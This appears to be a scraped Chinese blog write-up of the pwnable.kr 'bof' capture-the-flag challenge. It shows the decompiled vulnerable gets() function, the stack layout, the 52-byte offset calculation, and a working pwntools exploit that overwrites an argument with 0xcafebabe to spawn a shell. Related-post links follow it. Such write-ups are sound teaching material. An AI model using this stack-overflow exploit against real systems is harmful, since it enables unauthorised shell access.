pwnable.kr第三题bof
Running at : nc pwnable.kr 9000
IDA查看
1 unsigned int __cdecl func(int a1)
2 {
3 char s; // [esp+1Ch] [ebp-2Ch]
4 unsigned int v3; // [esp+3Ch] [ebp-Ch]
5
6 v3 = __readgsdword(0x14u);
7 puts("overflow me : ");
8 gets(&s);//未对输入长度进行限制,存在栈溢出
9 if ( a1 == 0xCAFEBABE )
10 system("/bin/sh");
11 else
12 puts("Nah..");
13 return __readgsdword(0x14u) ^ v3;
14 }
查看栈,
1 -0000002C s db ?
2 -0000002B db ? ; undefined
3 -0000002A db ? ; undefined
4 -00000029 db ? ; undefined
5 -00000028 db ? ; undefined
6 -00000027 db ? ; undefined
7 -00000026 db ? ; undefined
8 -00000025 db ? ; undefined
9 -00000024 db ? ; undefined
10 -00000023 db ? ; undefined
11 -00000022 db ? ; undefined
12 -00000021 db ? ; undefined
13 -00000020 db ? ; undefined
14 -0000001F db ? ; undefined
15 -0000001E db ? ; undefined
16 -0000001D db ? ; undefined
17 -0000001C db ? ; undefined
18 -0000001B db ? ; undefined
19 -0000001A db ? ; undefined
20 -00000019 db ? ; undefined
21 -00000018 db ? ; undefined
22 -00000017 db ? ; undefined
23 -00000016 db ? ; undefined
24 -00000015 db ? ; undefined
25 -00000014 db ? ; undefined
26 -00000013 db ? ; undefined
27 -00000012 db ? ; undefined
28 -00000011 db ? ; undefined
29 -00000010 db ? ; undefined
30 -0000000F db ? ; undefined
31 -0000000E db ? ; undefined
32 -0000000D db ? ; undefined
33 -0000000C var_C dd ?
34 -00000008 db ? ; undefined
35 -00000007 db ? ; undefined
36 -00000006 db ? ; undefined
37 -00000005 db ? ; undefined
38 -00000004 db ? ; undefined
39 -00000003 db ? ; undefined
40 -00000002 db ? ; undefined
41 -00000001 db ? ; undefined
42 +00000000 s db 4 dup(?)
43 +00000004 r db 4 dup(?)
44 +00000008 arg_0 dd ?
45 +0000000C
46 +0000000C ; end of stack variables
0x2c+8 =0x34=52,来到arg_0的存储空间
exp:
1 from pwn import *
2
3 r = remote('pwnable.kr','9000')
4
5 buf = 52 * 'A'
6 buf += p32(0xcafebabe)
7
8 r.sendline(buf)
9
10 r.interactive()
pwnable.kr第三题bof的更多相关文章
- 【pwnable.kr】fb
这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...
- 【pwnable.kr】blackjack
又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-bl ...
- pwnable.kr之brainf*ck
pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...
- 【pwnable.kr】bof
pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr之bof
打开题目: 先下载题目给我们的两个文件,查看文件信息: 发现没有执行的权限,所以先增加文件bof的执行权限,执行: 没发现啥,然后查看代码, #include <stdio.h> #inc ...
- pwnable.kr 第一题fd
使用ssh fd@pwnable.kr -p2222连接输入密码guest 1 fd@prowl:~$ ls -al 2 total 40 3 drwxr-x--- 5 root fd 4096 Oc ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
随机推荐
- javascript change array length methods
javascript change array length methods Array 改变数组长度的方法 push, pop shift, unshift, splice, fill, 不改变数组 ...
- uniapp 扫二维码跳转
在h5和wxapp中 生成qrcode的组件 https://ext.dcloud.net.cn/plugin?id=39 wx小程序扫二位码文档 生成链接时 computed: { ...mapSt ...
- django学习-13.通过pk值手动设置数据表主键
1.前言 通过django框架的Model层来新增数据库表时,如果在需要新增的表字段里任何一个表字段都没设置主键,框架会默认新增一个表字段id并把该表字段id设置为主键. 那么,如果我们想自己动手设置 ...
- java中this和super的用法及区别
this 用法1:代表当前对象本身 用法2:方法形参和类成员变量重名,用this进行区别 class demo{ private int age = 10; public int getAge(int ...
- Wireshark安装使用及报文分析
先看链接!!! Wireshark使用教程:https://jingyan.baidu.com/article/93f9803fe902f7e0e56f5553.html Wireshark过滤规则筛 ...
- TKMybatis
TKMybatis与Mybatis-plus都是mybatis的扩展,有相同的地方,也有不同的地方. 1.导入坐标 <!--mybatis依赖--> <dependency> ...
- Java基本概念:异常
一.简介 描述: 异常(Exception)指不期而至的各种状况,异常发生的原因有很多,通常包含以下几大类: 用户输入了非法数据. 要打开的文件不存在. 网络通信时连接中断,或者JVM内存溢出. 异常 ...
- MarkDown简单语法回顾
写在前面: 本文是我的第一篇博客文章,希望与大家共同交流.分享我们热爱的技术,努力成为一名优秀的软件工程师! 进入正文 使用MarkDown记笔记已经有些时候了,编辑器是使用的sublime text ...
- Spring IoC - 循环依赖
Spring 复习 3.循环依赖 3.1 定义 循环依赖指多个对象的创建过程中均需要注入对方对象,如下所示 class A{ B b; public A(){ } public A(B b){ thi ...
- 使用gitlab构建基于docker的持续集成(三)
使用gitlab构建基于docker的持续集成(三) gitlab docker aspnetcore 持续集成 构建发布思路: aspnetcore 下的dockerfile编写 发布docker- ...